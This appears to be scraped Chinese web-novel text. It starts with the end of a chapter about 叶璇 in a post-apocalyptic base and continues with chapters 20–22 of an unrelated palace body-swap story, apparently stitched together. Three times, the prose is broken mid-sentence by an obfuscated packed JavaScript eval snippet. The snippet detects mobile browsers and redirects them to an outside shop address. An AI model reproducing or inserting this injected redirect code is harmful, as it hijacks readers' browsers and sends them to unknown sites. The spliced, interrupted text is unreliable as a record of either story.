二号基地的住宅区里平时没什么人。 里面的大多数人都在完成委托和接取委托的路上,少部分人在上班,偶尔有些老弱病残会下楼扔垃圾,没多少人会长时间呆在外面。 叶璇一个人静静地在外面呆了一会儿。 今天也在下雨,雨很小,落在人的衣服上都不会浸湿。 叶璇能感受到雨水中的灵气在逐渐变得浓郁。 在灵气复苏的世界当中,往往会诞生难得一见的壮美奇景,也许,现在她就应该准备好行李出发了。 如果是宋明珍的话,会带一个有很多衣服的行李箱,路上住酒店,吃超市和便利店里的零食。 她不需要换洗衣服,好像不用带什么行李,带个鸡蛋灌饼就可以了。 一个鸡蛋灌饼好像不太够,起码得十个吧。 叶璇想了想,决定先不出去旅游了,等到鸡蛋灌饼吃腻以后再说。 她又去到了熟悉的摊位上,周围人来人往,大多行色匆匆。 执行任务的异能者最晚在太阳落山前也回到了基地,叶璇打包好鸡蛋灌饼,收到了一条消息。 水果罐头都已经搬完了。 还有,她该上班了。 要跟着几支异能者小队去截获一批一号基地的物资,她负责用透视异能查看物资方位。 有需要单独行动的可能,到时候要用她自己的木系异能保护好自己。 当天出发,大概在第二天早上会有人护送她回到基地,团队里会准备好露营用的器材和食材,她可以当做是去旅游。 叶璇想了想,提着鸡蛋灌饼就出发了。 “你要在夜晚离开基地?” 叶璇继续走了两步。 有人拉住了她的手腕:“晚上很危险的。” 她有些疑惑地回头看过去,看到了鸡蛋灌饼摊位的摊主。 她和这位摊主差不多每天都要见面,算起来,她们好像已经是熟人了。 叶璇礼貌地点了点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459109|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“是的,不用担心我。” “晚上真的很危险,前段时间,我在住宅区也听到了人类的尖叫声,现在就算在基地里也不像从前那么安全了。” 尖叫声?在住宅区,叶璇有一些印象。 她抬起右手,覆盖在对方按着她左臂的双手上:“没事的。” “怎么可能没事啊!” “那如果我平安回来,老板可以送我一份经典款原味鸡蛋灌饼吗?” 摊主愣了一下。 现在好像不是说这个的时候,晚上出门真的很危险。 但是,手背上传来的触感是温热鲜活的,眼前的人双眼一错不错地认真看着自己,就像平时期待地看着她做鸡蛋灌饼的时候一样。 她感觉,也许当下的话题要更认真,更重要些。 “……不是,也不是不可以。” 趁着摊主分神,叶璇抽出手,继续朝着大门方向走。 一辆车停在了叶璇身前,车上没有制动系统工作的摩擦声,取而代之的是诡异的心跳声。 车窗降了下去,露出了傅文(这样一个人,凭什么成为监察所的所长?)充满激情的一张脸:“上车吧!” 叶璇打开了车门,回头看了摊主一眼:“说好了?” “不好,你这么有钱还要我送饼!” 如同鸡蛋灌饼一般易碎的情谊就这样轻轻地在金钱面前碎掉了。 叶璇对她挥了挥手,关上了车窗。 20. 第 20 章 “爱妃,你为什么要这样做?梨宫是性情中人,朕从前认为,你也是一样。” “姐姐,原来你一直都在骗我?” 姜言在殿内跪下,不发一言。 没有人知道她心中有多恨,可既然这是姜家的意思,她也只能为之赴死。 梨宫比她心狠,比她聪明,比她更懂皇上,梨宫甚至可能会登上后位,她死得不亏。 “也罢,姜家立身不正,你也不过是缺乏教养。” 姜言的头皮贴着地板,在心底不停默念着不能慌,梨宫会扶持好家族,家族是女人唯一的后盾,此事以后,梨宫必然会再好好劝说皇上的。 “陛下!贵妃毒杀的可是龙种!” “贵妃这些年一无所出便罢了,而今还残害龙种,这……” “平日里贵妃娘娘看着再亲切不过,谁能想到竟是这样的人,臣妾心里害怕……” 或怒斥,或低泣,往日的一团和气都被撕裂开搅打散。 姜言温热的眼泪滚落到冰凉的方砖上。 眼里流着泪,她却在心中不断斥责自己,为了家族而死有什么好恐惧的?有多少人连为家族牺牲的资格都没有,从一开始,从嫁给身为五皇子的他那一天开始,她不是就已经做好了赴死的觉悟了吗? “委屈你了,梨宫,生在这样的人家。” 姜梨宫温顺地对他摇了摇头,向他表白道:“臣妾不委屈,臣妾如今是陛下的家人。” 皇帝沉默了一会儿,姜言就要被拖出殿内,他忽然道:“可惜,以姜家现在的立场,朕不能再许你皇后之位。” 姜言难以置信地回过头,却见梨宫还是笑语嫣然,丝毫不放在心上,她又松了口气,想来梨宫应当是有她自己的主意,她姜言不过是一介失败者,又何必去为她操心? 皇帝似乎是发现她回了头,微勾嘴角对她笑了笑,话却还是说给梨宫去听:“窃国之罪,九族当诛,你告发有功,也难逃群臣口诛笔伐。” 窃国之罪? 梨宫背叛了姜家…… 她居然背叛了姜家! 难道,那些罪责根本不是姜家让她揽下的? 姜家世代忠良,不会有窃国的心思,就算有,她也只会为姜家遮掩行迹,那是生她养她的姜家,那里有这个世界上对她最好的人。 梨宫为什么要这样做?她是自愿入宫,姜言也一直十分照顾她,况且没有强势的家族撑腰,后位于她从此便不过只是一场梦。 不,她图谋的从来都不是后位,梨宫这个疯子,她或许是真的爱上了萧旭…… 姜言脑海中翻涌着烦乱驳杂的思绪,没注意她进的是哪间牢房,直到有人把她扔进了一堆稻草里,姜言才怔愣着回了神。 姜言的脑子里总算理清了思路。 她身为姜氏女,潜邸的旧人,萧旭甫一登基,便封了她为贵妃,皇后久病不治,由她代掌凤印,众妃都羡慕她深受宠爱,只有她自己明白,这不过是因为萧旭想要姜家的助力,他才给了她一点面子。 他对她从来没有爱意,当然,她也一样。 而姜梨宫,曾经被她放在心尖上疼爱的幼妹,居然为了这么一点廉价的感情把她视为敌人。 事已至此,姜言不再多想,直直撞向地牢里的铁栏。 如今,没有了姜家,她身为姜氏女,也没有再活下去的意义了。 —— 天光大亮,殿内还点着灯,是……御书房? 她还没有死? 好困,她好像看见了魏公公。 “陛下,该上朝了。” 咦? 姜言呆住,怔怔地往自己身后看去,却发现屋内只有她和魏公公两人。 她的身体很不对劲,她不可能有这么壮,这双手显然不是她的手,而是…… “陛下?” “嗯,朕知道了。” “陛下龙体可有不适?” 姜言回忆了一番皇帝的仪态,萧旭能有什么仪态?姜言随意地摆了摆手:“无妨。” 刚洗漱完,正觉得饿,她就收到了梨宫送来的点心,姜言突然又觉得不饿了,她检查了一遍自己的穿着,确认没什么大问题,就跟着魏公公前往金銮殿。 朝堂上的情况和她想象的有些不一样。 在她心里,皇帝就是棋手,臣子就是棋子,棋子们就是为棋手的目的而存在的,棋手指哪,他们往哪。 而朝堂中的这些臣子们就只差对着她这位棋手拳打脚踢了。 一是因为姜家,姜家人代代忠贤,门生故旧遍布天下,皆是忠君爱国之士,皇帝却莫名其妙地认为姜家叛国有罪,二是因为边关,边关形势危急,辅国大将军擅离京城前往边关,皇帝的意思是也以叛国罪论处。 当然,除了这群恨不得撞柱死谏的大臣,朝堂中也有不少向着皇帝的,大多是年轻人,年轻得不像话,姜言在闺中读过些史书,她明白,总不会是千年难得一遇的少年英才统统都出在这一朝了。 萧旭居然这么任性?还是说是她自己太不懂治国的道理了? “左相,姜家之事确有蹊跷,”无论如何,姜家不能有事,她坐上龙椅,仔细回忆了一遍小时候曾经见过的朝臣的相貌,向殿内众臣直言道:“至于辅国大将军,事急从权,先前是朕急躁了,他私自离京,朕心中甚是担忧,不妨再多派些人随他同去。” 如果姜家真的叛变了,兵力怕是不够,得想办法把中央调空,先这样走一步,下一步她再想想。 兵部尚书出列,上奏道:“陛下,辅国大将军一人可当千军万马,无需再调拨兵粮,只需要陛下的支持。” 姜言面上神色不变,心中却是一阵抓狂。 不用调拨兵粮还要支持?这怎么支持?打仗不就是要兵要粮吗?难不成还要让她往边境送金银送美人?打仗还专门送几个美人过去伺候也太不像话了吧?战士军前半死生,美人帐下犹歌舞?可了不得。 兵部尚书见她久久不语,干脆一跪到地,神色悲愤欲绝:“陛下!辅国大将军此等忠臣良将,断不可再受这般侮辱啊!” 姜言静静地看着他,她不明白辅国大将军怎么就被侮辱了,她身在深宫中也听说过辅国大将军有万人敌之能,谁能侮辱他?哪个女人,啊不也许是男人,哪个男人这么厉害? 都察院陈御史出列:“陛下,凡有事举,必先正名。” 怎么御史还要管战事?这是越权了吧?姜言陷入沉思,殿内众臣见皇帝仍未表态,纷纷各抒己见相互吵成一团,从他们的吵闹中,姜言记住了殿内众人的姓名,也终于捋清了思路。 原来如此,所谓的“支持”,就是“正名”,让辅国大将军的举动名正言顺。 “朕欲予辅国大将军便宜之权,众卿可有异议?” 给他可以随意行事的“名”,这算是“正名”了吧? 一时满朝皆寂,姜言不禁怀疑自己是不是说错了话,暴露了她当皇帝当得很不熟练的真相。 “陛下圣明。” 兵部尚书叩首。 “臣有异议!” 一位年轻的御史越众而出:“陛下一言九鼎,岂可随意轻废?” 姜言黑了脸,一言九鼎?不可轻废?那被定了叛国之罪的姜家该怎么办? 她面色不善地看向来人,很想冷笑一声,考虑到萧旭是个表情管理大师,她只能硬生生憋住,尽量喜怒不形于色地拿起龙案上的界方喝问道:“张御史,此乃何物?” 张御史躬身回答:“此物名为‘镇山河’,有肃朝堂正天威之用。” 皇帝的界方名为“镇山河”,宰相的界方名为“佐朝纲”,将军的界方名为“惊虎胆”,但世人最常提到的,却是地方官常用的“惊堂木”,惊堂木一响,举座皆惊,可令恶人胆寒,群邪辟易。 姜言垂眼看着龙案,她头顶的冕旒直直地垂坠着,掩盖住了她的眼色,姜言缓缓开口:“肃朝堂正天威岂是区区一尺界方可为,先帝以‘镇山河’为界方之名,便是提醒尔等,凡事应以山河安稳为先,岂可因一言而弃正理于不顾?” “陛下圣明!” 兵部尚书太热情了,姜言被吓得抖了一下,还好龙袍厚重,看不太出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459110|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 有兵部尚书牵头,殿内响起了一片歌功颂德的声音,张御史也跟着念了一句“陛下圣明”,灰溜溜地退回了原位。 姜言有些恍惚地看着殿内群臣,他们现在的样子就仿佛从前她掌管后宫的时候,自己每每做出决策,妃嫔奴婢们就哄着她说“娘娘英明”那副模样。 不正常,太不正常了。 她等了一会儿,等到众臣平复好了心情,才接着问道:“众位爱卿还有何事要奏?” “陛下!江南岩山地界堤坝不够稳固,待到汛期恐有大患,臣请求户部拨款支援,重建堤坝。” “准。” “陛下!金州城有一江湖人灭人满门,对百姓治安造成极大影响,臣以为当尽快调兵镇压此僚,以正天下清明。” 姜言想开口说准,看见前面兵部尚书瞪得像铜铃一样的眼睛,她就怂了:“此事延后,待边关事停再议。” “陛下!黔南地区今年粮食欠收,可要降低当地税赋?” “可,钦差检察院陈御史前往黔南视察民生。” 陈御史会担心她听不懂兵部尚书的话,会提醒她别人话里的深意,他应该是个老实人,老实人还是离这个奇奇怪怪的朝堂越远越好。 “陛下!礼部侍郎许乘流连秦楼楚馆,影响朝廷威名,望陛下对此有所惩戒。” “许卿最近似乎身体欠佳,是年纪到了吗?” 姜言不知该如何惩罚,她记起从前在姜家的时候,族中长辈很是厌恶青楼女子,小人书里还说那种女人会吸人精气,便关心地问候了一番。 问候着问候着对方就要告老还乡请辞离去了,看样子是身体太虚了,姜言当然是允许了。 一桩桩一件件事情处理完,下朝以后,魏公公在她身边提醒道:“陛下,昨日您说要与淑妃赏梅,淑妃已经在毓灵宫静候了。” “去御书房。” 魏公公仔细打量了一番她的脸色:“是。” “等等。” 姜言忽然想到,既然她变成了萧旭,那么萧旭会不会也变成了她? “贵妃如何了?” 魏公公被她问得一愣,他反应极快,当下便道:“皇上可是想念贵妃娘娘了?可要将娘娘提出内监?” 内监吗?那分明不是内监。 “他,可有求死之意?” 魏公公老实答道:“昨日便有过,今日倒还好,只是不停嚷嚷着要求见陛下,陛下可要见一见娘娘?” 魏公公向来笑脸迎人,从不在背后嚼人舌根,居然也会用“嚷嚷着”这样情绪化的词来形容她,想来那位在牢房中定然是不逊得很。 “不必了。” 到了御书房以后,魏公公给她送来了一碗银耳莲子羹:“淑妃娘娘亲手做的,陛下可要尝尝?” 淑妃就是姜梨宫。 姜言冷笑一声:“她的东西,往后都不要再送到朕身边来。” “是,陛下。” 魏公公退至一旁,静静守候在她身侧。 姜言取出了几本儒家书籍,先翻了翻目录,再对着奏折细看。 看不懂…… 然后她就开始批“朕已阅”。 书上有先例就按照先例来,没有就批“朕已阅”,让他们自己看着办。 看奏折看到深夜,第二天又从书桌上抬起头,姜言揉了揉眼睛,感觉她欠缺的知识实在是太多了。 朝堂上少了两人,有人向她举荐了其他人做礼部侍郎,最近不会再有官员上青楼。 新建堤坝的款项已经拨下去了,待到汛期,当地就不会再爆发洪水灾情了。 钦差大臣已经出发去了黔南,他会在路上沿路观察到很多东西,为黔南的人民扫清污秽。 姜家正在得到平反,在不久的将来或许就能重归朝堂。 辅国大将军可以便宜行事的旨意也已经传了出去,很快就会到达边关,让他最大限度地发挥出自己的能力。 普天之下,一切都在因朝堂上的决策而改变。 冕旒之后,姜言依然一脸认真地聆听着大臣们的谏言。 21. 第 21 章 “报!辅国大将军到!” 长史崔词松了口气:“将军带了多少人马?” 来人张了张嘴,没有说话,崔词急躁地催促他开口说下去:“多少啊?你说啊!” “仅辅国大将军一人。” 崔词哑口无言。 上都护田崭在一旁苦笑道:“先让他进来吧。” 辅国大将军云问风早已翻墙入室,听闻此话,他立刻闪身下了房梁,一袭白衣在一片甲衣中格外显眼。 他落地以后,就对着田崭说:“给我开一下城门。” 崔词瞪圆了眼睛:“你疯了?” “或者我直接跳出去,”云问风微微一笑:“你们不会把我当成敌方乱箭射死吧?” “你……” 田崭叹了口气:“请云将军不要添乱。” 云问风笑了两声,没有再多说,也没有真的跳出城外,而是乖乖听从了田崭的吩咐,在都护府里住了下来,没有再添乱。 直到京城授予了他便宜行事之权。 云问风骑上马,身边是抱着他大腿不让他走的崔词。 “你是第一次见我打仗?” 崔词怒骂一句:“你再这样胡闹就是最后一次了!” 云问风闻言先是轻笑,而后止不住地长笑,再到大笑,把崔词吓得不轻,他一把扯开崔词的手腕,双腿夹紧马腹,城门已经大开,门外就是潮海般的军队,崔词就这么眼睁睁看着纯白色的一人一马化作了一袭烟尘,滚滚涌向大漠。 崔词睁大了眼睛,看着那一点白色跃下马背,融入灰黑色的敌方军阵中,他不敢眨眼,怕一眨眼,那一点白色就会消失不见。 然而,事情远远超出了他的预料。 灰黑色的军阵被白色包围了。 是字面意思上的包围,云问风速度极快,军阵内外都是他留下的残影。 便如那句传言所说,他一个人就是千军万马。 崔词瞪着眼睛缓缓摇了摇头。 这……不可能…… “看清楚了吗?” 云问风又骑着马回到了城内,一袭白衣干净如旧,他的神情和往常一样,笑得很是好看,他这样过来要和崔词打招呼,竟让崔词恍惚间觉得他们不是在战场上,反倒像是他刚在集市上买到了什么新鲜菜,来和崔词分享。 在这些日子里,崔词确实是分享到了不少好菜。 马蹄声越来越大,崔词见这人高马大的一人一马离他越来越近了,下意识往后躲开,结果不小心倒在了地上,看得云问风又忍不住大笑起来。 有趣,太有趣了。 云问风选择下马,脱离战斗,他今天就想回京城看看那边发生了什么。 作为一个带着游戏系统穿越的穿越者,他对这些战斗其实没什么兴趣,因为敌方普遍都只有30级,而他是100级,就算不用技能,杀他们也跟切菜一样。 他靠这门切菜手艺当上了将军,本以为接下来就是肆意潇洒荣华富贵的一生,没想到会被皇帝猜忌,狗皇帝甚至想把他一辈子都关在京城里,哪都不许他去,就很变态。 只因为他在这个世界里没有家人,他还不肯尚公主。 他一开始听说可以娶公主回家是很高兴的,直到同样很高兴的玉溪长公主悄悄地过来看了他一眼。 长公主对他很满意,因为云问风的游戏建模好看得像个神仙,而云问风,他在发现了长公主以后,立刻找皇上回绝了这门亲事。 长公主她才十二岁,云问风实在接受不了。 更过分的是皇上还告诉他明年长公主就满十三岁了,到时候嫁过来就可以生孩子了。 可以生孩子了????? 狗皇帝不愧是狗。 别说十三岁,十四十五岁都不行,放在现代,这个年龄的小女孩初中都还没读完,路上遇见还不一定乐意喊他哥哥,多半是要莽声莽气地叫他叔叔,他疯了都不会对这种小孩子有感觉。 可是长公主已经是公主里最年长的了,狗皇帝自己的小公主都还不到五岁,更不用提结婚了,所以尚公主是不可能尚公主的,他这辈子都不可能尚公主的,但是不尚公主就要被猜忌,皇上就要觉得他不忠心,虽然他本来也没有对皇上忠心过,但是皇上觉得他不忠心这就问题很大了。 不过,皇帝无论如何总也杀不了他,其余的事,如果这狗皇帝再这样狗下去,三年后坐在那个位置上的人还会不会是他,也犹未可知。 至于他这次擅离京城来到边关,离开他来到古代以后住习惯了的家,他是下了很大决心的,他听不懂朝堂上那些拽来拽去的文言典故,只大概听说了北方的衍国要来攻打宁国,他其实不是很确定,但是他很害怕,他害怕这片土地上的先民们又会遭受到屠杀,所以他还是来到了边关,可是这次他是一个人来这里,没有人帮帮他,没有人再帮他出谋划策,也没有人再和他一起说说他们心里的害怕,他就觉得很没意思。 曾经是有的,现在却再也没有了。 那个时候,他就想,是不是都是这个狗皇帝的问题,如果他去把狗皇帝杀了,是不是就又能有人来帮他了? 没想到狗皇帝这次居然不狗了,还给了他便宜行事之权,云问风本来就快要下决心去杀掉他了,可他居然又这么突然地信了自己一回。 云问风的心情很复杂,便宜行事,就等于是在说,哪怕他现在带着所有军队进宫,皇帝依然会相信他。 从前那么疑神疑鬼的人,现在居然给了他这样的信任,他都有些恍惚了,甚至怀疑自己从始至终是不是都只是在玩一款全息游戏。 然而今天他还不能走,战争不是这么一场战斗就能解决的,云问风在夜间指挥发动了奇袭,烧毁了敌营的粮草,又周旋了数日,清缴干净了残兵,确定他们没法再骚扰关内百姓了,才能按照流程带着边关将士一同凯旋。 上次的庆功宴还挺好吃的,这次味道应该也不会差,总比边关这些干粮好吃。 云问风看着自己面前的饭桶,犹豫再三,还是决定去找人给他拿一个小碗,他还强调了一下要真正的小碗。 “女人吃的小碗?”有士卒问。 “……行。”怎么碗还有性别了。 反正是小碗就行。 不知道为什么,这些人总觉得他很能吃,但是作为一个游戏建模,他不吃东西其实也是可以的,路上这些干粮实在太难吃了,他想尽量少吃点。 消息一人传一人地传了过去。 田崭收到属下的报告,脸一黑,咬牙切齿地在原地转来转去,崔词的脸色也黑得没法看:“想不到他竟然是这样的人。” 吃个饭而已,居然还要这么讲究? 田崭也叹了口气:“女人,军营里哪来的女人?” 其实有倒是有,可是士兵的家属不能随意冒犯,充军在后方做饭打扫的罪妇又过于低劣,用了只怕会冒犯辅国大将军。 但是他觉得这种要求已经冒犯到他的耳朵了。 崔词回想起先前就听闻过,据说大将军拒绝公主平时表现得仿佛不近女色的原因其实就是他好人妻。 所以他并不是不好色,而是在这些方面过于下作,难以为世人所容。 他立刻小心翼翼地把这些传言说了一遍。 “罢了,”田崭视死如归地看向崔词:“去让七夫人把吃过的碗送进来。” 崔词热泪盈眶,深感上都护大人心怀大义。 七夫人可是上都护最疼爱的宠妾,上都护竟然为了不委屈士兵们而选择了用自己宠妾的贴身物品去满足云问风的私欲。 他立刻吩咐下去,安排七夫人吃饭,他亲自在屏风边守着,第一时间从丫鬟手里接过七夫人的玉碗,快马加鞭往云问风的营帐中赶去。 饭桶被云问风盖上了,他拿着一本书在看,崔词看着他没有女人吃的小碗就不吃饭的样子,不知道该说什么,只能老老实实地下马走过去双手递上玉碗:“大将军,碗到了。” 云问风被他打断了思路,扭过头看了一眼他手里的碗:“……为何不洗碗?” 崔词忍了又忍,站了起来:“属下这就去洗。” —— 姜言接连数日没有去过后宫,还拒绝了一干妃嫔的无事殷勤。 今日皇后给她递了话,说淑妃求到了未央宫,她觉得麻烦,吩咐魏公公去将淑妃幽禁,自己则继续坐在御书房里学习儒家思想。 她不懂的东西实在是太多太多了,没有那个闲暇再去应付后宫里的人。 魏公公处理完淑妃的事情,回到御书房向她禀告:“陛下,皇后娘娘想见您一面。” 姜言看着书想说不见,突然意识到魏公公说的是皇后,她嗯了一声,答应下来。 皇上,或者说萧旭,是通过夺嫡登上的皇位,如果没有姜家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459111|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的助力,他根本不可能在先太子死后进入先帝的视线。 他原本不过是一介弃子,却事事想要抢在太子前头,当年皇后才十三岁,他就迫不及待地想要给先帝生下大皇孙,结果先帝的大皇孙没有顺利出生,皇后的身体倒是落下了病根,久久不得痊愈。 那个时候姜言就应该明白的,后宫里会害人的不止是女人。 “皇后有何事要见朕?” 姜言还未褪去君主的朝服,宁国尚黑,她穿着一身厚重的黑色龙袍,乘着宫内的龙辇去了未央宫,走到了皇后床前。 皇后看上去越发消瘦了。 她偏过头轻咳一声,断断续续地说道:“陛下,可是在,想念,贵妃娘娘?” “未曾,”姜言顿了一下:“皇后好好修养身体,无需考虑这些小事。” 若要江山稳固,继承皇位的人选最好是元后嫡子,同样,若要江山动荡,继承皇位的人选最好就不能是元后嫡子。 她并不希望江山稳固,她更希望姜家能一统天下,那么萧旭的继承人她自然是要往低贱里选。 道理是这个道理,不过,其实就算她想让江山稳固,姜言对皇后也下不去这个手。 皇后沉默片刻,欲言又止,姜言轻轻握住了她的手,鼓励她说出心里的话。 再不说她就走了,她还有好多书没看。 “陛下,再过几日,就是,大选的日子,今年,该由,何人操持?” 就这事? 以往大选都是由贵妃负责,现在没有贵妃了,那当然是—— 不选了。 姜言深情地紧握住皇后柔软的小手:“朕有皇后就足够了,今年大选取消,往后也不必再提。” 她好像吓到了皇后,不过皇后就算发现了自己不对劲也没什么。 反正皇后的娘家既不是什么世家勋贵,也不是什么雅望清流,没人能帮她在朝堂上说话,吓了就吓了。 于是探望完皇后的姜言迅速回到了御书房,她要读的书真的还有好多。 而被她抛到脑后的皇后,现在彻底懵了。 在潜邸时期,萧旭对皇后很一般,算不上好,也算不上不好,那时的萧旭对贵妃很是殷勤,就衬得皇后的日子过得不太好。 但她毕竟是先帝为萧旭选择的皇子妃,没有人想过去动她,反倒是贵妃,因为萧旭的荣宠不知在府里吃了多少明里暗里的软硬钉子。 再后来,她的病体久久未愈,萧旭登基以后,曾经的姜侧妃成为了雅贵妃,她成为了皇后,她曾想过,这应该是皇上留给她最后的一点体面,让她在生前还能再多做几日他的皇后。 然而她没想到…… 想到之前皇上看她的眼神,还有那句充满爱意的情话,皇后心头微动,难道,她才是皇上的真爱? 皇后的未央宫早已被后宫妃嫔们塞满了自己的眼线,姜言刚走,后宫妃嫔们就知道了未央宫里发生的事。 她们也与皇后想到了一处,再联想此前她们家人递牌子入宫时提起过的前朝动荡,顿时察觉到其中必有猫腻,只怕萧旭先前的所作所为就是要为现今独宠皇后一事铺路。 先借淑妃之手拿下贵妃和姜家,指鹿为马以观朝堂众臣,现在萧旭又发作了淑妃,只怕下一步就是让姜家重归朝堂,等到皇上解释完淑妃的算计,以姜家对皇上的忠心,双方自然又会君臣相合,朝堂上对皇上的态度过于激烈的大臣们已经被清洗掉了,余下的各方势力看到了姜家的下场再不敢妄动,而后宫内,就这么少了两位会威胁到皇后的世家女。 这就是一个一箭双雕的毒计,为了皇后而策划的毒计。 虽然她们考虑这件事的方向不太对,但是考虑出的事态结局跟姜言所想的还是差不多的。 姜家,她是一定要扶起来的,萧旭,无声无息地死在地牢里最好,淑妃,她早晚要好好和她清算清算,皇后,后宫要是只有一个皇后该有多省事啊,皇后的病什么时候才能好啊?什么时候才能找到人替她打理后宫,拦住那些小人不让她们继续搞事啊?姜言有点着急。 她想吩咐魏公公去太医院让太医多去看看皇后,然而,她突然想起来,萧旭的太医院也不太干净。 “母后什么时候回宫?” “陛下,太后娘娘先前说是开年回宫。” 姜言颌首:“给朕送封信过去。” 这下后宫有人管了。 22. 第 22 章 在坚持熬夜学习了半个月以后,姜言终于生病了。 勉强上完早朝,在书房坐下时,她已经连抬手都很费力了,看奏折更是糊里糊涂的,读了很久还是理不清其中的意思,姜言就明白自己必须要休息了。 可现在的她对于政治依旧可以说是一窍不通,对于战争也是一样,再过两日辅国大将军就要回朝,她不想在这样的忠臣良将面前出了岔子。 云问风的所作所为,实在是十分符合“忠诚良将”这四个字。 打仗从未输过,贬谪从未怨过,曾有以一敌万的功绩,却也能因为皇上的一句话就自锁京中,只领一个辅国大将军的虚职。 如此绝世之才,姜言必须好好对待,好好给他再提一提威望,他的威望越高,附庸上来的人越多,心才会越不安分,这个世道也才越容易乱,等到他带着军队进宫,她就可以从龙椅上下来宣布宁国完了,彻底完蛋了! 一味的打压最多也只能让这个万人敌进宫行刺,然后和她同归于尽,毕竟他现在还是个忠臣良将。 她要是再死一次,没准会把萧旭换回来,那她这些日子里熬的夜基本上就等于白熬了,也就是生了病让他的身体差了些这一点还算值得。 “陛下,杨太医来了。” 魏公公的声音在姜言身侧响起,她迷迷糊糊地点了点头,就静静看着魏公公不说话。 “陛下,要宣杨太医进殿吗?” 姜言歪了歪头,呆呆地想了想:“宣。” 杨老太医也是姜言从前认识的熟人,和魏公公一样熟悉,他们都是宫里的老人,行事从来挑不出错。 自从萧旭登上皇位以后,这些宫里的老人,她是见得越来越少了。 杨太医的手指搭上了她的手腕,姜言这些日子吃得不少,又很少运动,看着像是比萧旭更胖了些,也就显得杨太医的手指特别的干瘦,姜言看着这肥瘦分明的一幕,突然叹了一口气,魏公公便立刻弯了腰,杨太医也是一愣,被她这口气叹得一阵心惊。 杨太医的手指干瘦,人更是清简了不少,太医院的官袍被他穿得消瘦憔悴,他的近况显然不是很好。 姜言想和他叙叙旧,问问这些日子他过得如何,却不知该如何称呼他,从前她第一次见到杨御医时年纪尚小不知礼数,从来都是称他为“杨爷爷”,如今她作为皇帝,不能再放下架子,可要让她直呼杨御医,她又觉得不敬,或以卿相称,也实在不符合萧旭与他的关系。 往后她还需要多多仰仗这位杨爷爷。 太医院内派系林立,混乱不堪,各方势力都在其中插入了棋子,姜言自己也是一样,当然,萧旭也是一样,作为官员,太医院内所有人的品级都不算高,能与后妃皇帝相通,于他们而言,绝对是好事一桩,可杨爷爷是不同的,就算自己的位置会被各方势力倾轧,就算自己开出的方子只能让病人抓到最劣质的那一份药,就算俸禄少得可怜,回家还要自己下田种地找补,他还是坚持去救治在宫中遇见的每一个人,也总能救出他遇见的每一个人。 曾经和他怀有相同抱负的太医们陆陆续续地离开了太医院,觉得不值得,只留下了他一个,姜言自从了解到了这些以后,就常常给他送些东西,为他补偿一二,这些日子姜言自顾不暇,曾经她对杨太医的好,就全成了杨太医的罪过,他本来是从未参与过他们的斗争的,本来是可以继续过他不太好却也还算稳定的晚年生活的,然而现在,他明明是一位神医,自己的身体却虚弱得这样明显。 姜言想要对他笑一笑,又觉得实在很难笑出来,只能勉强地为她方才的失态解释一句:“无事,是朕昨晚没有睡好,想到今日还要批阅奏折,觉得有些疲惫。” 杨太医谨慎地点了点头:“陛下的身体确实是过于劳累了,需要多多休息。” 抛去这些闲话,杨太医进入状态以后就不再拘谨,他是上了年纪的老太医,一接触到自己熟悉的知识,就能恢复到一个比较放松的状态,老人家阅历丰富,精神强悍,其实并不需要姜言去担心。 可她心里实在是很不是滋味。 等到杨太医离开以后,姜言看着自己手边的药方子,沉吟片刻,吩咐道:“魏公公,传旨。” 魏公公低着头,举手过顶,揖了一礼:“喏。” “太医院御医杨弘之素有医德,勤勉不二,今擢升太医院院使——” 然后该怎么说呢? 望往后可以一正院内风气?可杨弘之本就只是进宫来行医的,他根本就不懂该如何管理人,他学的是医术,不是儒术。 望往后专于医道,再不为冗事所扰?可是,这天下就快要乱了,现在在宫内专于医道,将来如果当真立下了大功,是会被新帝清算的。 也不见得,如果是她的父亲登基为帝,一定会善待杨弘之这样医术高明的神医的,可是,虽然萧旭这个皇帝做得似乎十分糟糕,朝上的情况也是已经有了亡国之相,但要论心,论直觉,姜言还是觉得,父亲是不会谋逆的,帝位上将来应该会是别人。 新的国家的建立往往伴随着战乱,父亲最关心最在意的就是天下百姓的安危,他舍不得让天下百姓陷入战乱,所以他不会谋逆的,况且,他们千年的世家本也不比百年的皇家差,打仗自有武将去打,皇位自有武官去夺,姜家不稀罕为这点事脏了羽毛。 就像杨老太医,他的道在于行医,姜言想给他升官,他可能反而觉得麻烦,不如从前清闲,少了许多看诊的时间,萧旭与姜家,姜言与杨老太医,所思所虑都是不同的。 最后,她只能颇为白话地接了一句:“望日后能过好自己的日子,多吃些肉,长胖些。” 这实在是一段很不像话的圣旨。 “算了,待会我再用笔写一写。” 